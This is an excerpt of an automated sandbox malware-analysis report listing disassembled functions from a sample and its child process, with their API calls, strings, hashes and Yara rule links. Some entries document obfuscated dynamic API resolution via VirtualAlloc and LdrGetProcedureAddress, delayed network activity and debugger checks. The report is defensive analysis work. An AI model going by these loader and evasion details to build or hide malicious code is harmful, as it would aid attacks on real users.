Associated: 00000000.00000002.3412888804.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8CoDx513sS.jbxd

Similarity

API ID: CallFilterFunc@8
String ID: 0;N$0;N
API String ID: 4062629308-446444860
Opcode ID: 8a48a2ff2a912a93004da5aff1bc5fdc6fa8ba4be14f7a35af5d31d46a24d8c6
Instruction ID: c43707e2ebadf5302da70633bd149c2c61e7269c24a24be006b2482825aa7175
Opcode Fuzzy Hash: 8a48a2ff2a912a93004da5aff1bc5fdc6fa8ba4be14f7a35af5d31d46a24d8c6
Instruction Fuzzy Hash: D1212879A101408ACB586F398D06BBE37515F85339F26C35FE8268A2E2DB7C9903861D

Function 004B42BE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

curl_strequal.8CODX513SS(?,00000000,00000000,?,00000000,00000001), ref: 004B4326

Strings

application/octet-stream, xrefs: 004B42CB
.gif, xrefs: 004B42DB

Memory Dump Source

Source File: 00000000.00000002.3412736273.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3412701665.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412833239.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412833239.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412868064.00000000004EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412888804.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8CoDx513sS.jbxd

Similarity

API ID: curl_strequal
String ID: .gif$application/octet-stream
API String ID: 1413590006-1288594631
Opcode ID: f2ace6423ec685f5da27b85307d650b72063819e7cb3b66d703bc7c3904a8fd4
Instruction ID: 6f4f8fd400a217dca3afde48e0d118b0b32f689d31524218a9f6e15fb288464d
Opcode Fuzzy Hash: f2ace6423ec685f5da27b85307d650b72063819e7cb3b66d703bc7c3904a8fd4
Instruction Fuzzy Hash: 6D21D571600109AFCF08CF69C5806EDBBE9EF86350B18C1AFEC089B602D6359B458B58

Function 004D61BE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,00000001), ref: 004D621E
__crt_fast_encode_pointer.LIBVCRUNTIME ref: 004D622B

Strings

aI, xrefs: 004D61C8

Memory Dump Source

Source File: 00000000.00000002.3412736273.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3412701665.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412833239.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412833239.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412868064.00000000004EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412888804.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8CoDx513sS.jbxd

Similarity

API ID: AddressProc__crt_fast_encode_pointer
String ID: aI
API String ID: 2279764990-2080729186
Opcode ID: 996267a8f934488c1dbf8e0d38acf6fdc734cb4f793bff52425b7f525ce4ebe5
Instruction ID: 0e807295e644865552926b56d45a78073416856c0b904ae0f7d0614286ce2606
Opcode Fuzzy Hash: 996267a8f934488c1dbf8e0d38acf6fdc734cb4f793bff52425b7f525ce4ebe5
Instruction Fuzzy Hash: 26110A73A001309B9B22AF5DDCA459B7395EB843207174177FC14AF345DB38ED4186D9

Function 004A15FE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT(00000000,00000010,%d.%d.%d.%d,?,?,?,?,?), ref: 004A1637

Part of subcall function 00492B8D: curl_mvsnprintf.8CODX513SS(?,?,?,?), ref: 00492B9D

SetLastError.KERNEL32(0000001C,?,?,?,?,?,?,?), ref: 004A1670

Strings

%d.%d.%d.%d, xrefs: 004A162C

Memory Dump Source

Source File: 00000000.00000002.3412736273.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3412701665.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412833239.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412833239.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412868064.00000000004EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412888804.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8CoDx513sS.jbxd

Similarity

API ID: ErrorLast___swprintf_lcurl_mvsnprintf
String ID: %d.%d.%d.%d
API String ID: 2220330170-3491811756
Opcode ID: 40e214ea7934f19349c8d7f8cc506a822215ce591b3f18d7f290da5afd3e4c0e
Instruction ID: bd11f23cfa5e1f246b58a9b21677cc846ed9b863397fc5945fc43aecfe0a0402
Opcode Fuzzy Hash: 40e214ea7934f19349c8d7f8cc506a822215ce591b3f18d7f290da5afd3e4c0e
Instruction Fuzzy Hash: DD1159706001899BCF05DF7C8910BBABBF88F5F304F2841EAF885EB242D1669A05C775

Function 0049B68C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

_strncpy.LIBCMT ref: 0049B6AA
_strncpy.LIBCMT ref: 0049B6C8

Strings

Couldn't find host %s in the _netrc file; using defaults, xrefs: 0049B712

Memory Dump Source

Source File: 00000000.00000002.3412736273.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3412701665.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412833239.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412833239.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412868064.00000000004EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412888804.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8CoDx513sS.jbxd

Similarity

API ID: _strncpy
String ID: Couldn't find host %s in the _netrc file; using defaults
API String ID: 2961919466-2890025857
Opcode ID: 10ea9abe105ed9a0d3b37e557c14d1310eebc4462e3d065d6af9e72367935aff
Instruction ID: 9c450cfd35fb265541064c9808738336ce46008aefca1ef1dad15232576404ad
Opcode Fuzzy Hash: 10ea9abe105ed9a0d3b37e557c14d1310eebc4462e3d065d6af9e72367935aff
Instruction Fuzzy Hash: 16119E71600645AFDB119E25ED81BEBBBACFF45354F04003AFC5896242D339AC2087EA

Function 0049D024 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42networkCOMMON

Download Yara Rule

APIs

send.WS2_32(?,?,?,00000000), ref: 0049D03F
WSAGetLastError.WS2_32(?,0049D1C1,0000000A,00000000,?,?,0000000A,?,004B187B,?,?,00000104,0000000A,?,?,?), ref: 0049D052

Strings

Send failure: %s, xrefs: 0049D074

Memory Dump Source

Source File: 00000000.00000002.3412736273.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3412701665.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412833239.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412833239.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412868064.00000000004EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412888804.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8CoDx513sS.jbxd

Similarity

API ID: ErrorLastsend
String ID: Send failure: %s
API String ID: 1802528911-857917747
Opcode ID: f9ca8707a938e2f1d8ef2fff15c361723c003328fe13fbe799b7e07b74ad6eb5
Instruction ID: 89f91ab699f485d7f4d7d31917d77a996a0d51c26cd4068320749a122548b7b8
Opcode Fuzzy Hash: f9ca8707a938e2f1d8ef2fff15c361723c003328fe13fbe799b7e07b74ad6eb5
Instruction Fuzzy Hash: 4701A271500215AFDF219F68DC84AAABFA8EF08764F104136FE089B290C3799C60CF99

Function 02520BCC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 40COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 02520BF6

Part of subcall function 0251EA1D: __getptd_noexit.LIBCMT ref: 0251EA20
Part of subcall function 0251EA1D: __amsg_exit.LIBCMT ref: 0251EA2D

__CallSettingFrame@12.LIBCMT ref: 02520C42

Strings

j, xrefs: 02520BCC

Memory Dump Source

Source File: 00000000.00000002.3415183476.0000000002510000.00000040.00001000.00020000.00000000.sdmp, Offset: 02510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2510000_8CoDx513sS.jbxd

Similarity

API ID: CallFrame@12Setting__amsg_exit__getptd__getptd_noexit
String ID: j
API String ID: 4140145597-2137352139
Opcode ID: 4255597884e4c706d015ab5a2cc04f3f2598fbc4e01f63f3b4cdc71a0b6bc24f
Instruction ID: 92337e9577d37ba4bbb1a01af5645551a27393844b9f388477fdbe36099ab4dc
Opcode Fuzzy Hash: 4255597884e4c706d015ab5a2cc04f3f2598fbc4e01f63f3b4cdc71a0b6bc24f
Instruction Fuzzy Hash: 62118B71806266EFDB21DF18C4883ACFB71BB0272CF18858AD4693B5C2C3745959CF95

Function 10010BC8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 40COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 10010BF2

Part of subcall function 1000EA19: __getptd_noexit.LIBCMT ref: 1000EA1C
Part of subcall function 1000EA19: __amsg_exit.LIBCMT ref: 1000EA29

__CallSettingFrame@12.LIBCMT ref: 10010C3E

Strings

j, xrefs: 10010BC8

Memory Dump Source

Source File: 00000000.00000002.3416528138.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_8CoDx513sS.jbxd

Similarity

API ID: CallFrame@12Setting__amsg_exit__getptd__getptd_noexit
String ID: j
API String ID: 4140145597-2137352139
Opcode ID: 4255597884e4c706d015ab5a2cc04f3f2598fbc4e01f63f3b4cdc71a0b6bc24f
Instruction ID: b1ccafb92dba61937c9a12c75e62c98f35ac61b6a131f31180625ea3892cbb39
Opcode Fuzzy Hash: 4255597884e4c706d015ab5a2cc04f3f2598fbc4e01f63f3b4cdc71a0b6bc24f
Instruction Fuzzy Hash: 74117930E09655DBDB11CB54C4953ACBB70FB05718F24828AE8A96B583C3B5A991CFD1

Function 02520F58 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 02520F67

Part of subcall function 0251EA1D: __getptd_noexit.LIBCMT ref: 0251EA20
Part of subcall function 0251EA1D: __amsg_exit.LIBCMT ref: 0251EA2D

__getptd.LIBCMT ref: 02520F75

Strings

csm, xrefs: 02520F83

Memory Dump Source

Source File: 00000000.00000002.3415183476.0000000002510000.00000040.00001000.00020000.00000000.sdmp, Offset: 02510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2510000_8CoDx513sS.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: csm
API String ID: 803148776-1018135373
Opcode ID: f9f64d09b4068a58e2e8f065dc4f033a2b689a0011f903776a6ee69fe6737778
Instruction ID: 42c375b5c0dd7f6ae0e1b258a491994060a6aabb247da1affd4930ee386e7e18
Opcode Fuzzy Hash: f9f64d09b4068a58e2e8f065dc4f033a2b689a0011f903776a6ee69fe6737778
Instruction Fuzzy Hash: 00014B368522258BDF34EF24C445BACBBB6BF21322F64492ED44066AD0CB318588DF49

Function 10010F54 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 10010F63

Part of subcall function 1000EA19: __getptd_noexit.LIBCMT ref: 1000EA1C
Part of subcall function 1000EA19: __amsg_exit.LIBCMT ref: 1000EA29

__getptd.LIBCMT ref: 10010F71

Strings

csm, xrefs: 10010F7F

Memory Dump Source

Source File: 00000000.00000002.3416528138.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_8CoDx513sS.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: csm
API String ID: 803148776-1018135373
Opcode ID: f9f64d09b4068a58e2e8f065dc4f033a2b689a0011f903776a6ee69fe6737778
Instruction ID: c90bb64b6263670da3f906e28da70dafcc3079704cadacbb09930430fc4fb2ba
Opcode Fuzzy Hash: f9f64d09b4068a58e2e8f065dc4f033a2b689a0011f903776a6ee69fe6737778
Instruction Fuzzy Hash: 5A017838A05309CEEB20CFA1D556A9DB3F4FF04251F11492EF081AAA95CBB0E9D2CA41

Function 0049D64E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

getsockopt.WS2_32(00004020,0000FFFF,00001001,00000000,?), ref: 0049D67F
setsockopt.WS2_32(00004020,0000FFFF,00001001,00004020,00000004), ref: 0049D69C

Strings

@, xrefs: 0049D661

Memory Dump Source

Source File: 00000000.00000002.3412736273.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3412701665.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412833239.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412833239.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412868064.00000000004EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412888804.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8CoDx513sS.jbxd

Similarity

API ID: getsockoptsetsockopt
String ID: @
API String ID: 194641219-2726393805
Opcode ID: 84acf2047c46bc28bc8cdb26b46fd865c91644ebc0c38e6175ec84a567873411
Instruction ID: dc53ca80c68909f231493624862ddfd5dfbc5022c6f5a1c42a9aa4e0d2446b9f
Opcode Fuzzy Hash: 84acf2047c46bc28bc8cdb26b46fd865c91644ebc0c38e6175ec84a567873411
Instruction Fuzzy Hash: C3F01DB190010CBBEB10DF85DC84E9EBBBCEB44345F1040B5EA04E6151D775AE589B65

Analysis Process: vhCQTUg.exePID: 6884, Parent PID: 2544COMMON

Execution Graph

Execution Coverage:	1.7%
Dynamic/Decrypted Code Coverage:	19.4%
Signature Coverage:	0.9%
Total number of Nodes:	1171
Total number of Limit Nodes:	38

Executed Functions

Function 033ED051 Relevance: 72.6, APIs: 3, Strings: 38, Instructions: 811memorylibraryloaderCOMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 033ED4C2
VirtualAlloc.KERNEL32(?,?,00003000,00000004), ref: 033ED4F2
LdrGetProcedureAddress.NTDLL(00000000,?,00000000,?), ref: 033ED819

Strings

A, xrefs: 033ED166
Via, xrefs: 033ED331
Rt, xrefs: 033ED252
tu, xrefs: 033ED156
ushI, xrefs: 033ED1BA
Li, xrefs: 033ED12B
Fu, xrefs: 033ED279
oc, xrefs: 033ED173
ee, xrefs: 033ED10F
Ta, xrefs: 033ED29C
ctio, xrefs: 033ED28A
tNat, xrefs: 033ED229
G, xrefs: 033ED224
Vi, xrefs: 033ED14B
mI, xrefs: 033ED240
tu, xrefs: 033ED185
a, xrefs: 033ED122
a, xrefs: 033ED15D
p, xrefs: 033ED116
ucti, xrefs: 033ED1DD
Cach, xrefs: 033ED219
b, xrefs: 033ED2A6
otec, xrefs: 033ED19E
st, xrefs: 033ED1CC
Syst, xrefs: 033ED238
Lo, xrefs: 033ED11B
a, xrefs: 033ED18C
o, xrefs: 033ED1E8
A, xrefs: 033ED263
yA, xrefs: 033ED144
P, xrefs: 033ED195
b, xrefs: 033ED132
fo, xrefs: 033ED24B
a, xrefs: 033ED13B
S, xrefs: 033ED106
iv, xrefs: 033ED231
t, xrefs: 033ED1A6
F, xrefs: 033ED1AB

Memory Dump Source

Source File: 00000006.00000002.4034195166.00000000033ED000.00000040.00000020.00020000.00000000.sdmp, Offset: 033ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33ed000_vhCQTUg.jbxd

Yara matches

Similarity

API ID: AddressAllocInfoNativeProcedureSystemVirtual
String ID: A$A$Cach$F$Fu$G$Li$Lo$P$Rt$S$Syst$Ta$Vi$Via$a$a$a$a$b$b$ctio$ee$fo$iv$mI$o$oc$otec$p$st$t$tNat$tu$tu$ucti$ushI$yA
API String ID: 2811151940-2899676511
Opcode ID: 15b3c3a1d8b5dafea4a93bb4805a509b4eeb6b1eaca912e0ae13e9403863b76d
Instruction ID: 560c0dcb041dd0a00344ab6ef738567c0317b9c89f6d772ec5a6cc2a49d2fa24
Opcode Fuzzy Hash: 15b3c3a1d8b5dafea4a93bb4805a509b4eeb6b1eaca912e0ae13e9403863b76d
Instruction Fuzzy Hash: 5E627A716083958FD730CF24C880BABB7E5BF94704F08496EE9D98B291E770E949CB56

Function 6C845835 Relevance: 25.5, APIs: 2, Strings: 12, Instructions: 1038COMMON

Download Yara Rule

Strings

barycentric Moshier positions are not supported., xrefs: 6C845876
sun: , xrefs: 6C846555
.;C:\Astrolog\, xrefs: 6C845BCF
using Moshier eph.; , xrefs: 6C846289, 6C846503
using Moshier eph.; , xrefs: 6C845A9B
Interpolated apsides are restricted to JD %8.1f - JD %8.1f, xrefs: 6C84609E
Pholus's ephemeris is restricted to JD %8.1f - JD %8.1f, xrefs: 6C846407
Chiron's ephemeris is restricted to JD %8.1f - JD %8.1f, xrefs: 6C8463C1
de431.eph, xrefs: 6C845BD4
illegal planet number %d., xrefs: 6C8462FC
using Moshier Eph; , xrefs: 6C845B16
trying Swiss Eph; , xrefs: 6C8459EC, 6C845C65

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID:
String ID: using Moshier eph.; $ trying Swiss Eph; $ using Moshier Eph; $ using Moshier eph.; $.;C:\Astrolog\$Chiron's ephemeris is restricted to JD %8.1f - JD %8.1f$Interpolated apsides are restricted to JD %8.1f - JD %8.1f$Pholus's ephemeris is restricted to JD %8.1f - JD %8.1f$barycentric Moshier positions are not supported.$de431.eph$illegal planet number %d.$sun:
API String ID: 0-3958690428
Opcode ID: 19a4fc24bee5ca000357fed8559e3e5d961042783ead9fd21c585e15e161ba8f
Instruction ID: 6ba9f5d6aa88f3387eb2a1a8b6d7cf79ced55955bed9ff55bb329e927cbe6694
Opcode Fuzzy Hash: 19a4fc24bee5ca000357fed8559e3e5d961042783ead9fd21c585e15e161ba8f
Instruction Fuzzy Hash: 8582597190461DDADF309F28DE80BDD7B71EB4A328F11CE95E4E4A69C0DB3589A4CB41

Function 1000F100 Relevance: 21.9, APIs: 10, Strings: 2, Instructions: 918sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(0001D4C0,?,00000000,?), ref: 1000F406

Strings

`, xrefs: 1000F442
https://, xrefs: 1000F2AB, 1000FA9F

Memory Dump Source

Source File: 00000006.00000002.4034556520.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10001000_vhCQTUg.jbxd

Similarity

API ID: Sleep
String ID: `$https://
API String ID: 3472027048-3356742408
Opcode ID: 8bdf530b9ea3ced8279571d6625b001ddbfa3540c5801337f33a91fe9c71cf8c
Instruction ID: d66631ddc7739b2df91dca4a1cd6bdde61ed29147cda0506061661c4489d8bb2
Opcode Fuzzy Hash: 8bdf530b9ea3ced8279571d6625b001ddbfa3540c5801337f33a91fe9c71cf8c
Instruction Fuzzy Hash: 3482E471D00258DFEB54CB64CC85BEDBBB2EF45344F10829CE049AB695DB78AB84CB61

Function 6C801112 Relevance: 19.5, APIs: 3, Strings: 8, Instructions: 237
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6C8824FA: __fsopen.LIBCMT ref: 6C882507

_sprintf.LIBCMT ref: 6C801133

Part of subcall function 6C821814: _sprintf.LIBCMT ref: 6C82183B
Part of subcall function 6C821814: MessageBoxA.USER32(?,?,00000030), ref: 6C821850

_memset.LIBCMT ref: 6C801265
_memset.LIBCMT ref: 6C801276

Strings

, xrefs: 6C801453
Version:0.9StartHTML:00000094EndHTML:00010000StartFragment:00000129EndFragment:00010000, xrefs: 6C80119C
, xrefs: 6C8011B6
, xrefs: 6C8011C0
</body></html>, xrefs: 6C80145D
<html><body>, xrefs: 6C8011A6
File %s can not be created., xrefs: 6C80112D
, xrefs: 6C801439

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _memset_sprintf$Message__fsopen
String ID: $$</body></html>$$$<html><body>$File %s can not be created.$Version:0.9StartHTML:00000094EndHTML:00010000StartFragment:00000129EndFragment:00010000
API String ID: 2973518034-2975255540
Opcode ID: bacf9227cc53be8bc823231da39996cbcc38de9a0ee072e3ca2b2b20ca1d0686
Instruction ID: c26356f5937214cea8730af092ffc656489073845865ac601059fd1971369f00
Opcode Fuzzy Hash: bacf9227cc53be8bc823231da39996cbcc38de9a0ee072e3ca2b2b20ca1d0686
Instruction Fuzzy Hash: 45918A72B0E241DBDB22DF69CA8755577B2AB4A32CB650D3EE11187F50D774C888CB82

Function 6C881F6A Relevance: 13.6, APIs: 9, Instructions: 100
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 6C885DD6

Part of subcall function 6C8837D0: __FF_MSGBANNER.LIBCMT ref: 6C8837E9
Part of subcall function 6C8837D0: __NMSG_WRITE.LIBCMT ref: 6C8837F0
Part of subcall function 6C8837D0: RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,6C887A8B,?,00000001,?,?,6C887F4A,00000018,6C8F2E78,0000000C,6C887FDA), ref: 6C883815

std::exception::exception.LIBCMT ref: 6C885E0B
std::exception::exception.LIBCMT ref: 6C885E25
__CxxThrowException@8.LIBCMT ref: 6C885E36
IsDebuggerPresent.KERNEL32 ref: 6C885EF7
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 6C885F0C
UnhandledExceptionFilter.KERNEL32(6C8AFF84), ref: 6C885F17
GetCurrentProcess.KERNEL32(C0000409), ref: 6C885F33
TerminateProcess.KERNEL32(00000000), ref: 6C885F3A

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandledstd::exception::exception$AllocateCurrentDebuggerException@8HeapPresentTerminateThrow_malloc
String ID:
API String ID: 2175014196-0
Opcode ID: 8d03a58ec23550cd7ca452c64a6d592674e5a8588fbc3e3a5c73bc4eaa219292
Instruction ID: f06384b090f8dfb0cf798812b32fa64984cc0ef7caa546386168a712afe87b65
Opcode Fuzzy Hash: 8d03a58ec23550cd7ca452c64a6d592674e5a8588fbc3e3a5c73bc4eaa219292
Instruction Fuzzy Hash: 5841A275A29384DFDF30DF59D569A887BB4BB0A308F60242AE84983B40DB789545CF45

Function 6C8247B5 Relevance: 44.0, APIs: 16, Strings: 9, Instructions: 248
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_sprintf.LIBCMT ref: 6C8247FA
_sprintf.LIBCMT ref: 6C824846
GetModuleFileNameA.KERNEL32(?,000000FF,?,?,?,00000000,00000000), ref: 6C824860
_sprintf.LIBCMT ref: 6C8248A1
_sprintf.LIBCMT ref: 6C8248D5
_sprintf.LIBCMT ref: 6C82491C
_sprintf.LIBCMT ref: 6C824963
__wgetenv.LIBCMT ref: 6C82496F
_sprintf.LIBCMT ref: 6C824992
__wgetenv.LIBCMT ref: 6C8249BC
_sprintf.LIBCMT ref: 6C8249DD
__wgetenv.LIBCMT ref: 6C824A03
_sprintf.LIBCMT ref: 6C824A24
_sprintf.LIBCMT ref: 6C824A5B
_sprintf.LIBCMT ref: 6C824AAB
_sprintf.LIBCMT ref: 6C824ADB

Strings

File '%s' not found., xrefs: 6C824AA5
%s%s, xrefs: 6C82495D
ASTROLOG, xrefs: 6C8249B7
C:\Astrolog, xrefs: 6C824A4E
710, xrefs: 6C82494C
ASTR, xrefs: 6C824951, 6C824956, 6C824A02
%s.as, xrefs: 6C82483A
